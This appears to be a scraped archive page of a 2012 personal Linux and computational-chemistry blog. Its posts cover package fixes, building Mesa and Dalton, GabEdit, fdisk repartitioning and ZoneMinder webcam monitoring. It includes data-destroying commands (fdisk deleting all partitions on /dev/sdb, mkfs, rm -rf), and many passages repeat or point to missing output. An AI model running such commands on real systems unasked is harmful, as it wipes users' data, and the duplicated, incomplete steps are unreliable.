I'll classify this as a bug, since the specificity of it surely must mean that it is an unintended behaviour. Basically you lose your hand-edited changes in your input files if you're not careful.
By Editor I don't mean the vim editor, but rather then Job Editor in Ecce.
A demonstation:
1. Create an input in ECCE. In this case I created a single-point energy calculation of dioxygen. Hand-edit the input file by clicking on Final Edit and add e.g. maxiter 99 in the dft block.
2. Run the job
3. Open the Editor. With the Editor open, click on Run Mgmt/Reset for restart. (In spite of the figure below, it has nothing to do with whether the vim editor is open or not.)
4. Your hand-edited changes are now gone.
In contrast, if the Editor is not open when you click on Run Mgmt/Reset for restart the changes will be kept.
27 November 2012
26 November 2012
284. Fix for: nautilus-open-terminal opens in $HOME
Update: due to a change in the exec-arg, if you followed the instruction here you now can't open the terminal (using nautilus) at all if you've upgraded to nautilus 3.4.2. Look at this post to fixing it: http://verahill.blogspot.com.au/2012/12/another-nautilus-open-terminal-related.html
Everything should now work perfectly.
Original post:
This has been bothering me for the past week or so: if I use nautilus-open-terminal (i.e. right-click in nautilus and select open in terminal) it now always opens in $HOME instead of in the directory I want it to open in.
Apparently I'm not the only one: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692518
Luckily the solution is quick and simple: run this in your terminal, then open a new nautilus window:
Everything should now work perfectly.
Original post:
This has been bothering me for the past week or so: if I use nautilus-open-terminal (i.e. right-click in nautilus and select open in terminal) it now always opens in $HOME instead of in the directory I want it to open in.
Apparently I'm not the only one: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=692518
Luckily the solution is quick and simple: run this in your terminal, then open a new nautilus window:
gsettings set org.gnome.desktop.default-applications.terminal exec gnome-terminal
25 November 2012
283. gnome-shell-extension-common 3.0.2 and gnome-shell-extensions 3.4.0 conflict
Not sure how this came about but I might have downloaded and install an unsupported .deb (from here I think) at some point at the beginning of Gnome 3.
Following this post will get you back to a conflict-free system BUT it will also remove debs that depend on gnome-shell-extension-common (i.e. packages that you have have downloaded from the web as deb packages. It won't affect normal gnome shell extensions).
The problem:
The solution:
Following this post will get you back to a conflict-free system BUT it will also remove debs that depend on gnome-shell-extension-common (i.e. packages that you have have downloaded from the web as deb packages. It won't affect normal gnome shell extensions).
The problem:
andUnpacking gnome-shell-extensions (from .../gnome-shell-extensions_3.4.0-2_all.deb) ... dpkg: error processing /var/cache/apt/archives/gnome-shell-extensions_3.4.0-2_all.deb (--unpack): trying to overwrite '/usr/share/locale/fr/LC_MESSAGES/gnome-shell-extensions.mo', which is also in package gnome-shell-extension-common 3.0.2-2 Errors were encountered while processing: /var/cache/apt/archives/gnome-shell-extensions_3.4.0-2_all.deb E: Sub-process /usr/bin/dpkg returned an error code (1)
sudo apt-get remove gnome-shell-extension-common Reading package lists... Done Building dependency tree Reading state information... Done You might want to run 'apt-get -f install' to correct these: The following packages have unmet dependencies: gnome : Depends: gnome-shell-extensions (>= 3.4) but it is not going to be installed gnome-shell-extension-alternate-tab : Depends: gnome-shell-extension-common but it is not going to be installed gnome-shell-extension-alternative-status-menu : Depends: gnome-shell-extension-common but it is not going to be installed gnome-shell-extension-auto-move-windows : Depends: gnome-shell-extension-common but it is not going to be installed gnome-shell-extension-dock : Depends: gnome-shell-extension-common but it is not going to be installed gnome-shell-extension-gajim : Depends: gnome-shell-extension-common but it is not going to be installed gnome-shell-extension-user-theme : Depends: gnome-shell-extension-common but it is not going to be installed gnome-shell-extension-windows-navigator : Depends: gnome-shell-extension-common but it is not going to be installed gnome-shell-extension-xrandr-indicator : Depends: gnome-shell-extension-common but it is not going to be installed E: Unmet dependencies. Try 'apt-get -f install' with no packages (or specify a solution).
The solution:
sudo dpkg --force-overwrite -i /var/cache/apt/archives/gnome-shell-extensions_3.4.0-2_all.deb sudo apt-get install -f sudo apt-get autoremove gnome-shell-extension-common=3.0.2-1 sudo apt-get update && sudo apt-get upgrade
282. Mesa 9.0.1 (64 bit) on debian wheezy
This post is intended as a step towards building wine with libOSmesa. Apparently any version of libOSmesa lower than 9 is no good, and debian wheezy currently have version 8.
Unfortunately building the 32 bit version turns out to be more complex than just requesting it via --enable-32-bit, so I'll be making a post on a chrooted build of the missing wine libraries later. I've also noticed that libOSMesa is just a small part of Mesa -- this build overlaps a lot with mesa-common-dev as well.
Finally, I don't really have a good grasp over graphics on linux -- which means that I'm still confused by OpenGl, CL, Mesa etc.
UPDATE (10th Jan 2013): See here for Wine 1.5.21 using the multiarch approach: http://verahill.blogspot.com.au/2013/01/308-compiling-wine-1521-on-debian.html
As usual: I have a lot of packages installed on my standard compile node, so there are probably a lot of packages which are needed which I didn't notice. But here we go:
First you need to build e.g. libdrm 2.4.40 since wheezy and sid currently have v2.4.33 and you need 2.4.39 or newer.
sudo apt-get install libpciaccess-dev checkinstall wget http://cgit.freedesktop.org/mesa/drm/snapshot/libdrm-2.4.40.tar.gz tar xvf libdrm-2.4.40.tar.gz cd libdrm-2.4.40/ ./autogen make sudo checkinstall
When you're asked for a description, type 'libdrm 2.4.40' and it should get the version number right.
(you could also build with --prefix and install it somewhere else but that makes things trickier later)
Make sure it installed correctly:
aptitude show libdrm Package: libdrm New: yes State: installed Automatically installed: no Version: 2.4.40-1 Priority: extra Section: checkinstall Maintainer: root@beryllium Architecture: amd64 Uncompressed Size: 733 k Description: libdrm 2.4.40
Build OS mesa v.9.0.1.
sudo apt-get install flex bison libdrm-dev xutils-dev x11proto-gl-dev x11proto-dri2-dev libx11-xcb-dev libxcb-glx0-dev libxcb-dri2-0-dev libxcb-xfixes0-dev llvm automake cd ~/tmp wget ftp://ftp.freedesktop.org/pub/mesa/9.0.1/MesaLib-9.0.1.tar.gz tar xvf MesaLib-9.0.1.tar.gz cd Mesa-9.0.1/ ./autogen.sh --enable-osmesa make sudo checkinstall
Some notes:This package will be built according to these values: 0 - Maintainer: [ root@beryllium ] 1 - Summary: [ Mesa 9.0.1 64 bit] 2 - Name: [ mesa ] 3 - Version: [ 9.0.1 ] 4 - Release: [ 1 ] 5 - License: [ GPL ] 6 - Group: [ checkinstall ] 7 - Architecture: [ amd64 ] 8 - Source location: [ Mesa-9.0.1 ] 9 - Alternate source location: [ ] 10 - Requires: [ ] 11 - Provides: [ mesa ] 12 - Conflicts: [ ] 13 - Replaces: [ ]
xutils-dev contains makedepend; x11proto-gl-dev is GLPROTO, x11proto-dri2-dev is DRI2PROTO
LLVM is needed for one step in the build process (gallium). I'm sure you can get around it, but I'm not too bothered.
Links to this post:
http://forums.linuxmint.com/viewtopic.php?f=190&p=696973
24 November 2012
281. Visualising NWChem output with GabEdit
Update: please read Karol's comment below. I will put a link here once I've written up a post on how to modify nwchem.
Update 2: Here's the post: http://verahill.blogspot.com.au/2013/02/3xx-modifying-nwchem-611-to-work-with.html .The conclusion is that you MUST edit nwchem. Luckily, it's easy.
Original post:
I've never liked Gabedit much (looks a bit dated, tries to do 'too much') -- until today. Suddenly I have a newfound respect for the developer(s) behind it. It actually doesn't try to do 'too much' -- it simply does A LOT, and actually does it in a pretty transparent way.
Long story short -- you can do things with gabedit which you can't do (easily) with ECCE, and as such it has become an important ally. Besides, it's always nice to have alternatives.
GabEdit is in the Debian repos.
Running your calculations
There are some restrictions"
1. NOTE: you must run your nwchem job with explicit basis sets (i.e. entered as text) -- to do that in ECCE tick the box as shown in the figure below. If you're running 'pure' nwchem, you (probably) have to cut and paste from the basis set directory -- see e.g. section 7.2 here. It's a minor convenience for gaining access to what GabEdit has to offer.
2. You can only open Single point/Energy calculations i.e. Optimizations won't work. So do a single point calculation on your optimized structure.
3. Also, you need to rename/copy your output file so that it ends with .out.
GabEdit
It's fairly straightforward -- just point and click. One thing which you will want to play with are the iso-surface settings. The defaults are rarely good.
Anyway, I'll let the screenshots do the talking:
There's a lot to explore. GabEdit can obviously also prepare and submit jobs, but I'm happy with ECCE in this respect, and content with using GabEdit for post-processing.
Update 2: Here's the post: http://verahill.blogspot.com.au/2013/02/3xx-modifying-nwchem-611-to-work-with.html .The conclusion is that you MUST edit nwchem. Luckily, it's easy.
Original post:
I've never liked Gabedit much (looks a bit dated, tries to do 'too much') -- until today. Suddenly I have a newfound respect for the developer(s) behind it. It actually doesn't try to do 'too much' -- it simply does A LOT, and actually does it in a pretty transparent way.
Long story short -- you can do things with gabedit which you can't do (easily) with ECCE, and as such it has become an important ally. Besides, it's always nice to have alternatives.
GabEdit is in the Debian repos.
Running your calculations
There are some restrictions"
1. NOTE: you must run your nwchem job with explicit basis sets (i.e. entered as text) -- to do that in ECCE tick the box as shown in the figure below. If you're running 'pure' nwchem, you (probably) have to cut and paste from the basis set directory -- see e.g. section 7.2 here. It's a minor convenience for gaining access to what GabEdit has to offer.
3. Also, you need to rename/copy your output file so that it ends with .out.
gabedit won't read it otherwise |
GabEdit
It's fairly straightforward -- just point and click. One thing which you will want to play with are the iso-surface settings. The defaults are rarely good.
Anyway, I'll let the screenshots do the talking:
Go straight to the Output viewer -- Geometry/Orbital/Density |
Click on the M, or right-click anywhere in the window, and load your renamed nwchem output file. |
Here's triplet oxygen. The alpha, beta orbitals are listed in the right window |
You can do electron localisation |
Look at spin density (the unpaired electrons are in the anti-bonding pi orbitals) |
Contour plots are neat -- here showing spin density |
Electrostatic potential. |
There's a lot to explore. GabEdit can obviously also prepare and submit jobs, but I'm happy with ECCE in this respect, and content with using GabEdit for post-processing.
23 November 2012
280. gOpenMol on Debian Wheezy
This is a quick description of how to install gOpenMol (software for visualising output from various comp. chem. packages) on debian:
wget http://www.csc.fi/english/pages/g0penMol/Downloads/gopenmol-3.00-linux.tar.gz
gopenmol-3.00-linux.tar.gz
tar xvf gopenmol-3.00-linux.tar.gz
sudo mv gOpenMol-3.00 /opt/
/opt/gOpenMol-3.00/./install
echo 'export PATH=$PATH:/opt/gOpenMol-3.00/bin' >> ~/.bashrc
source ~/.bashrc
rungOpenMol
I'm having issues with a transparent background in the main window on my nvidia box. Not sure what it's like on other machines.
wget http://www.csc.fi/english/pages/g0penMol/Downloads/gopenmol-3.00-linux.tar.gz
gopenmol-3.00-linux.tar.gz
tar xvf gopenmol-3.00-linux.tar.gz
sudo mv gOpenMol-3.00 /opt/
/opt/gOpenMol-3.00/./install
echo 'export PATH=$PATH:/opt/gOpenMol-3.00/bin' >> ~/.bashrc
source ~/.bashrc
rungOpenMol
I'm having issues with a transparent background in the main window on my nvidia box. Not sure what it's like on other machines.
12 November 2012
279. Formatting and adding a disk with fdisk
I've got a box with two harddrives -- sda (160 gb) has debian and sdb has CentOS (500 gb). I never use CentOS and I need the space for debian.
We're in 'luck' since we're only interested in killing sdb, and gparted wants a Display (this is done remotely).
So
So did it work?
Did it work?
and edit /etc/fstab
You're done.
sudo fdisk -lWARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted. Disk /dev/sda: 160.0 GB, 160041885696 bytes 255 heads, 63 sectors/track, 19457 cylinders, total 312581808 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sda1 1 312581807 156290903+ ee GPT Disk /dev/sdb: 500.1 GB, 500107862016 bytes 255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x0007e385 Device Boot Start End Blocks Id System /dev/sdb1 * 63 32772599 16386268+ 83 Linux /dev/sdb2 32772600 40965749 4096575 83 Linux /dev/sdb3 40965750 43006004 1020127+ 82 Linux swap / Solaris /dev/sdb4 43006005 976768064 466881030 5 Extended /dev/sdb5 43006068 976768064 466880998+ 83 Linux
We're in 'luck' since we're only interested in killing sdb, and gparted wants a Display (this is done remotely).
So
sudo fdisk /dev/sdbCommand (m for help): d Partition number (1-5): 1 Command (m for help): d Partition number (1-5): 2 Command (m for help): d Partition number (1-5): 3 Command (m for help): d Partition number (1-5): 4 Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks.
So did it work?
sudo fdisk -lTime to create a new partitionWARNING: GPT (GUID Partition Table) detected on '/dev/sda'! The util fdisk doesn't support GPT. Use GNU Parted. Disk /dev/sda: 160.0 GB, 160041885696 bytes 255 heads, 63 sectors/track, 19457 cylinders, total 312581808 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x00000000 Device Boot Start End Blocks Id System /dev/sda1 1 312581807 156290903+ ee GPT Disk /dev/sdb: 500.1 GB, 500107862016 bytes 255 heads, 63 sectors/track, 60801 cylinders, total 976773168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x0007e385 Device Boot Start End Blocks Id System
sudo fdisk /dev/sdbCommand (m for help): n Partition type: p primary (0 primary, 0 extended, 4 free) e extended Select (default p): p Partition number (1-4, default 1): Using default value 1 First sector (2048-976773167, default 2048): Using default value 2048 Last sector, +sectors or +size{K,M,G} (2048-976773167, default 976773167): Using default value 976773167 Command (m for help): w The partition table has been altered! Calling ioctl() to re-read partition table. Syncing disks.
Did it work?
sudo fdisk -l /dev/sdbCreate a file system:Disk /dev/sdb: 500.1 GB, 500107862016 bytes 81 heads, 63 sectors/track, 191411 cylinders, total 976773168 sectors Units = sectors of 1 * 512 = 512 bytes Sector size (logical/physical): 512 bytes / 512 bytes I/O size (minimum/optimal): 512 bytes / 512 bytes Disk identifier: 0x0007e385 Device Boot Start End Blocks Id System /dev/sdb1 2048 976773167 488385560 83 Linux
sudo mkfs.ext4 /dev/sdb1Let's automount it:mke2fs 1.42.5 (29-Jul-2012) Filesystem label= OS type: Linux Block size=4096 (log=2) Fragment size=4096 (log=2) Stride=0 blocks, Stripe width=0 blocks 30531584 inodes, 122096390 blocks 6104819 blocks (5.00%) reserved for the super user First data block=0 Maximum filesystem blocks=4294967296 3727 block groups 32768 blocks per group, 32768 fragments per group 8192 inodes per group Superblock backups stored on blocks: 32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208, 4096000, 7962624, 11239424, 20480000, 23887872, 71663616, 78675968, 102400000 Allocating group tables: done Writing inode tables: done Creating journal (32768 blocks): done Writing superblocks and filesystem accounting information: done
mkdir /home/me/scratch
and edit /etc/fstab
/dev/sdb1 /home/me/scratch ext4 defaults 0 2
You're done.
11 November 2012
278. Monitoring your office with a webcam and zoneminder on debian
Update: so this worked fine with my thinkpad sl410 camera, but I'm having a lot of trouble getting an image off of my usb Pixio cam (Z-Star Microelectronics Corp. USB 1.1 Webcam) with "Got signal 11 (Segmentation fault), crashing" and "'zmc -d /dev/video0' exited abnormally, exit status 11". Zoneminder feels annoyingly temperamental at times. Anyway, I ended up hacking together a poor but functional solution by using a shell script and streamer to save stills every few seconds, then letting zoneminder analyse and capture. Setting up two Airlink 101 AIC250W was remarkably easy though (although I remember having a lot of trouble in the past). I've also experimented with motion, and although I'm having issues with the image colours it's working very well.
Original post
While I figured that the head of school might have a universal key allowing access to all the offices in the department (the cleaners do), finding out that he had used it to open my office for a trivial purpose has ticked me off.
While you may not have an expectation of privacy at your company office, I certainly do when it comes to my department office.
So I'm not too happy about that, and while monitoring my office will not prevent future breaches of privacy, it will at least ease some of the paranoia if it turns out that my office doesn't routinely get entered.
This post only deals with a locally attached webcam -- I struggled with remote wifi-connected webcams a few years ago with little luck.
Figure out what video devices you have:
You can now navigate to http://localhost/zm
Setting up the camera seemed deceptively easy -- everything went fine, except actually getting an image.
Looking at the log I was getting
which is when I googled and found this post: http://rainbow.chard.org/2012/04/24/using-zoneminder-with-a-cheap-cctv-camera/
Basically, getting the settings absolutely right matters!
which told me
Next, I was receiving
http://jared-oberhaus-tech-notes.blogspot.com.au/2011/12/im-trying-to-capture-video-from-device.html
Our old friend shmmax eh? Apparently I had about 32 mb set up (!) on my laptop, so I changed it to 671088640 (640 mb)
See this post for how to make it permanent.
Anyway, once all is well you will hopefully see something like this (note the colours -- the /dev/ is a nice orange, although the log is still an unhappy red)
Now we can actually do things. Click on the name of your device (here: laptop) and you should get something like
You can now click on Zones in the main menu and add one (takes a little bit of trial and error, but you'll get there). To get motion detection, and thus get ZM to save things, change the mode from Monitor to e.g. modec
Your files will be found under /usr/share/zoneminder/events but you can change that using the setting menu which you can access in the top right corner in the main window.
So that's pretty much it. There are a couple of settings you might want to fiddle with:
So I got fed up with one of my cameras not working together with zoneminder. As a temporary fix I set zoneminder to use 'file' instead of 'local' or 'remote'. So now zoneminder looks at ~/webcam/current.jpg.
In that directory, a script is running (you need to install streamer):
Also, I created a directory and symmlinked it to /usr/share/events to prevent my root partition from filling up:
Original post
While I figured that the head of school might have a universal key allowing access to all the offices in the department (the cleaners do), finding out that he had used it to open my office for a trivial purpose has ticked me off.
While you may not have an expectation of privacy at your company office, I certainly do when it comes to my department office.
So I'm not too happy about that, and while monitoring my office will not prevent future breaches of privacy, it will at least ease some of the paranoia if it turns out that my office doesn't routinely get entered.
This post only deals with a locally attached webcam -- I struggled with remote wifi-connected webcams a few years ago with little luck.
sudo apt-get install zoneminder
sudo apt-get install v4l-conf v4l2ucp sudo cp /etc/zm/apache.conf /etc/apache2/sites-enabled/zm.conf sudo service apache2 restart
Figure out what video devices you have:
ls /dev/video*and make sure www-data can access them/dev/video0
sudo adduser www-data video
You can now navigate to http://localhost/zm
Click on 'add monitor' |
These settings are fine. |
Note: these settings did NOT work. Keep reading the post... |
Setting up the camera seemed deceptively easy -- everything went fine, except actually getting an image.
note the red colour for the video device. No good. |
Looking at the log I was getting
Failed to set video format: Invalid argument
'zmc -d /dev/video0' exited abnormally, exit status 255
which is when I googled and found this post: http://rainbow.chard.org/2012/04/24/using-zoneminder-with-a-cheap-cctv-camera/
Basically, getting the settings absolutely right matters!
v4l-info
which told me
video capture VIDIOC_ENUM_FMT(0,VIDEO_CAPTURE) index : 0 type : VIDEO_CAPTURE flags : 0 description : "YUV 4:2:2 (YUYV)" pixelformat : 0x56595559 [YUYV] VIDIOC_ENUM_FMT(1,VIDEO_CAPTURE) index : 1 type : VIDEO_CAPTURE flags : 1 description : "MJPEG" pixelformat : 0x47504a4d [MJPG] VIDIOC_G_FMT(VIDEO_CAPTURE) type : VIDEO_CAPTURE fmt.pix.width : 1600 fmt.pix.height : 1200 fmt.pix.pixelformat : 0x47504a4d [MJPG] fmt.pix.field : NONE fmt.pix.bytesperline : 0 fmt.pix.sizeimage : 5760000 fmt.pix.colorspace : unknown fmt.pix.priv : 0so changed my settings to
It took a bit of trial and error |
Next, I was receiving
Got unexpected memory map file size 49153524, expected 230401524and this post helped me:
http://jared-oberhaus-tech-notes.blogspot.com.au/2011/12/im-trying-to-capture-video-from-device.html
Our old friend shmmax eh? Apparently I had about 32 mb set up (!) on my laptop, so I changed it to 671088640 (640 mb)
sudo sysctl -w kernel.shmmax=671088640
See this post for how to make it permanent.
Anyway, once all is well you will hopefully see something like this (note the colours -- the /dev/ is a nice orange, although the log is still an unhappy red)
Now we can actually do things. Click on the name of your device (here: laptop) and you should get something like
You can now click on Zones in the main menu and add one (takes a little bit of trial and error, but you'll get there). To get motion detection, and thus get ZM to save things, change the mode from Monitor to e.g. modec
Your files will be found under /usr/share/zoneminder/events but you can change that using the setting menu which you can access in the top right corner in the main window.
So that's pretty much it. There are a couple of settings you might want to fiddle with:
You might want to set up ffmpeg to allow for generation of video fles |
So I got fed up with one of my cameras not working together with zoneminder. As a temporary fix I set zoneminder to use 'file' instead of 'local' or 'remote'. So now zoneminder looks at ~/webcam/current.jpg.
In that directory, a script is running (you need to install streamer):
#!/bin/bash while true do streamer -c /dev/video0 -b 24 -s 640x480 -o current.jpeg -q 2> /dev/null sleep 1 done
Also, I created a directory and symmlinked it to /usr/share/events to prevent my root partition from filling up:
mkdir zm/ chown www-data zm/ sudo rm /usr/share/zoneminder/events -rf sudo ln -s /home/me/webcam/zm /usr/share/zoneminder/events
07 November 2012
277. Compiling LSDALTON on debian testing/wheezy
I'm writing this as a separate post even though it's really an integral part of the compilation of Dalton 2011 which I described here: http://verahill.blogspot.com.au/2012/11/compiling-dalton-2011-on-debian.html
LSDALTON supports Open MP which is neat -- it means you can't run across nodes, but it'll automatically take advantage of the resources on the node it's run on.
Anyway.
Assuming you've followed that post, you're now ready to compile LSDALTON.
There are fewer questions this time so I won't list them -- basically, use gfortran and gcc, and compile with OpenMP support.
This gives you a Makefile.config -- edit it as shown. Note that I have the debian libblas3 and libgomp1 packages installed.
Now compile!
Test your installation:
LSDALTON supports Open MP which is neat -- it means you can't run across nodes, but it'll automatically take advantage of the resources on the node it's run on.
Anyway.
Assuming you've followed that post, you're now ready to compile LSDALTON.
cd ~/tmp/Dalton2011_release/LSDALTON/ ./configure
There are fewer questions this time so I won't list them -- basically, use gfortran and gcc, and compile with OpenMP support.
This gives you a Makefile.config -- edit it as shown. Note that I have the debian libblas3 and libgomp1 packages installed.
ARCH = linux FMMDIR = mm # # CPPFLAGS = -DSYS_LINUX -D_FILE_OFFSET_BITS=64 -D'INSTALL_BASDIR="/opt/dalton/basis"' -DGFORTRAN=471 -DVAR_LINSCA -DIMPLICIT_NONE F77 = gfortran F90 = gfortran FLNK = gfortran CC = gcc RM = rm -f FFLAGS = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -ffloat-store -fno-whole-file F90OPTFLAGS = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -ffloat-store -I. -x f95-cpp-input -ffloat-store -fopenmp -fno-whole-file SAFEFFLAGS = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -ffloat-store -fno-whole-file CFLAGS = -march=native -O1 -ffast-math -funroll-loops -ftree-vectorize -std=c99 -DRESTRICT=restrict -DFUNDERSCORE=1 -ffloat-store -DUSE_UNDERSCORES INCLUDES = LIBS = -lblas -lgomp INSTALLDIR = /opt/dalton/bin PDPACK_EXTRAS = linpack.o eispack.o gp_dlapack.o gp_zlapack.o AR = ar ARFLAGS = rvs # default : linux.x # # Suffix rules C # .SUFFIXES : .F90 .f90 .F .o .c .F90.o: $(F90) $(INCLUDES) $(CPPFLAGS) $(F90OPTFLAGS) -c $*.F90 .f90.o: $(F90) $(INCLUDES) $(CPPFLAGS) $(F90OPTFLAGS) -c $*.f90 .F.o: $(F77) $(INCLUDES) $(CPPFLAGS) $(FFLAGS) -c $*.F .c.o: $(CC) $(INCLUDES) $(CPPFLAGS) $(CFLAGS) -c $*.c
Now compile!
make
Test your installation:
cd test/ ./TEST all [..] ----------------------------------------------------------- TEST ENDED PROPERLY ##################################################################### Summary ##################################################################### ALL TESTS ENDED PROPERLY! date and time : Wed Nov 7 14:57:29 EST 2012
06 November 2012
276. Compiling Dalton 2011 on Debian Testing/Wheezy
UPDATE: To deal with basis sets and 'GPOPEN' errors, see bottom of this post
UPDATE2: Because of the basis set issue the code doesn't run in parallel!
UPDATE 3: All issues are solved by -O0 or -O1. The code now works in parallel and you can define basis sets the usual way. Performance-wise? No idea. So you can compile with -O3 or -O2 but the code doesn't read basis sets the intended way, or you use -O1 or -O0 and it works.
THIS WORKS NOW :)
Original post:
I've been wanting to use dalton for a long time, but it's been difficult to compile dalton 2.0, and I didn't realise until a few days ago that there's a newer version.
See here for a description of how to compile on ROCKS 5.4.3 (i.e. Centos 5.6) which uses gfortran v 4.1. The main difference between compiling on CentOS 5.6 and Debian Wheezy is in how you edit the Makefile.config. More specifically, compile works a whole lot better with -fno-whole-file and -march=native..
Other than that the steps are the same.
In terms of running, there's an issue with the discoverability of the basis sets which I don't really understand. There's a solution to that at the end of the file.
Before you get started you may want to compile ATLAS as shown here: http://verahill.blogspot.com.au/2012/05/compile-atlas-blas-on-debian-testing.html
Alternatively, you should get the ACML libraries.
NOTE: The compile went without a hitch on my AMD II X3, AMD Phenom II X6 and Intel i5-2400.
My AMF FX 8150 is a trickier story though: it failed to compile with acml libs (gfortran64_fma4_int64) for -O3 and -O2, but compiled with -O1 and -O0. The -O1 binary segfaults though. Never tried the -O0 binary.
WARNING: If you run dalton in parallel it will -- for some reason -- delete your scratch folder when the run is over. The scratch directory is defined in the /opt/dalton/bin/dalton script (TMPDIR)
License:
First go to http://daltonprogram.org/licence/ and fill out the license agreement. Once that's done you'll get an automated email with a license form, which you should print, sign, scan and email to the email address you're given. Once your form has been processed you'll be sent another email with a user name and password. I received my user name and password the next business day.
Go online and download the source file, Dalton2011_release_v0.tgz, and put it in ~/tmp. Sort out where you want your program to end up
Next,
and answer all the questions:
Like this:
Now just copy the basis sets and ecp data to the proper location:
and edit your ~/.bashrc;
And you should be good to go.
So far I haven't run all the tests, but
gave
GPOPEN errors and how to get around them.
To make the story short: if you use -O3 or -O2 for some reason Dalton can't find the basis sets if you declare them the normal way (-O0 and -O1 take care of the problem). However, using ATOMBASIS it works.
Here's an example. Typically you'd specify the basis set for a whole molecule in your .mol file:
but that leads to errors on the debian (but not centos) builds:
works and gives
and a normal exit:
UPDATE2: Because of the basis set issue the code doesn't run in parallel!
UPDATE 3: All issues are solved by -O0 or -O1. The code now works in parallel and you can define basis sets the usual way. Performance-wise? No idea. So you can compile with -O3 or -O2 but the code doesn't read basis sets the intended way, or you use -O1 or -O0 and it works.
THIS WORKS NOW :)
Original post:
I've been wanting to use dalton for a long time, but it's been difficult to compile dalton 2.0, and I didn't realise until a few days ago that there's a newer version.
See here for a description of how to compile on ROCKS 5.4.3 (i.e. Centos 5.6) which uses gfortran v 4.1. The main difference between compiling on CentOS 5.6 and Debian Wheezy is in how you edit the Makefile.config. More specifically, compile works a whole lot better with -fno-whole-file and -march=native..
Other than that the steps are the same.
In terms of running, there's an issue with the discoverability of the basis sets which I don't really understand. There's a solution to that at the end of the file.
Before you get started you may want to compile ATLAS as shown here: http://verahill.blogspot.com.au/2012/05/compile-atlas-blas-on-debian-testing.html
Alternatively, you should get the ACML libraries.
NOTE: The compile went without a hitch on my AMD II X3, AMD Phenom II X6 and Intel i5-2400.
My AMF FX 8150 is a trickier story though: it failed to compile with acml libs (gfortran64_fma4_int64) for -O3 and -O2, but compiled with -O1 and -O0. The -O1 binary segfaults though. Never tried the -O0 binary.
WARNING: If you run dalton in parallel it will -- for some reason -- delete your scratch folder when the run is over. The scratch directory is defined in the /opt/dalton/bin/dalton script (TMPDIR)
License:
First go to http://daltonprogram.org/licence/ and fill out the license agreement. Once that's done you'll get an automated email with a license form, which you should print, sign, scan and email to the email address you're given. Once your form has been processed you'll be sent another email with a user name and password. I received my user name and password the next business day.
Go online and download the source file, Dalton2011_release_v0.tgz, and put it in ~/tmp. Sort out where you want your program to end up
sudo mkdir /share/apps/dalton sudo chown $USER /share/apps/dalton mkdir /share/apps/dalton/bin /share/apps/dalton/basis /share/apps/dalton/lsdalton
Next,
cd ~/tmp tar xvf Dalton2011_release_v0.tgz cd Dalton2011_release/DALTON ./configure
and answer all the questions:
./configure
------------------------------------------------------------------
Configuring the DALTON Makefile.config and "dalton" run script
------------------------------------------------------------------
INFO: Operating system from 'uname -s' : Linux
INFO: Processor type from 'uname -m' : x86_64
No architecture specified, attempting auto-configuration:
This appears to be a -linux architecture. Is this correct? [Y/n]
--> Installing DALTON on a -linux computer
Note that 64-bit integers are desirable for Cholesky and very large
scale CI, otherwise the most important effect is that some files will be bigger.
If you choose 64-bit integers, be careful that any system library
routines (incl. MPI) also use 64-bit integers!
Do you want 64-bit integers? [y/N] Do you want to install the program in a parallel MPI version? [Y/n]
-->WARNING: Makefiles for MPI architecture are difficult to guess
Please compare the generated Makefile.config with local documentation.
Checking for Fortran compiler ...
from this list: mpif90 mpiifort ifort pgf95 pgf90 gfortran g95
Compiler /usr/bin/mpif90 found, use this compiler? [Y/n]
-->Compiler mpif90 found and accepted.
Is backend compiler gfortran ? [Y/n]
Checking for C compiler ...
from this list: mpicc mpiicc icc ecc pgcc gcc
Compiler /usr/bin/mpicc found, use this compiler? [Y/n]
-->Compiler mpicc found and accepted.
Testing existence of libraries in this order:
libacml.a libmkl.so libmkl_p3.a libatlas.a libblas.a
Directory search list for libraries:
/opt/ATLAS/lib /home/me/tmp/ATLAS/build/lib /lib /usr/local/lib /usr/lib /usr/local/lib/ATLAS /lib64 /usr/lib64 /usr/local/lib64
Do you want to replace this with your own directory search list? [y/N] Found /opt/ATLAS/lib/libatlas.a, use it? [Y/n]
-->The following mathematical library(ies) will be used:
-L/opt/ATLAS/lib -llapack -llapack -lf77blas -latlas
DALTON uses almost 100 Megabytes of static
allocations, in addition to the dynamic allocation.
DALTON has the possibility to reserve an amount of static memory
for storing two-electron integrals in direct and parallel calculations
Storing some or all of the 2-el. integrals in memory will speed up
direct and parallel calculations (and in particular the latter).
NOTE: This will increase the static memory allocation used by DALTON
Would you like to activate the possibility of storing 2-el.int. in memory? [y/N] How many MB to use for storing 2-el. integrals?
-->Program will be installed with 300 MB (39000000 words) used for storing 2-el. integrals
Maximum amount of work memory for dynamic allocations can be changed
at run time with the environment variable WRKMEM (in REAL*8 words = megabytes/8)
or by using the -M option to the run script: "dalton -M mb ..." (in megabytes).
We recommend at least 200 MB work memory,
larger for correlated calculations, but it should for maximum
efficiency NOT exceed available physical memory per CPU in parallel calculations.
How many MB to use as default for work memory (hit return for default of 1000 MB)?
-->Program will be installed with a default work memory of 3900 MB (511000000 words)
-->Current directory is /home/me/tmp/Dalton2011_release/DALTON
Use default ../bin as installation directory for DALTON binaries and scripts? [Y/n] Please enter another installation directory:
-->DALTON executable and script will be placed in /opt/dalton/bin directory
-->Default basis set directory will be /home/me/tmp/Dalton2011_release/DALTON/../basis/
Use this directory as default basis set directory? [Y/n]
Please choose another default basis set directory (must end with /)
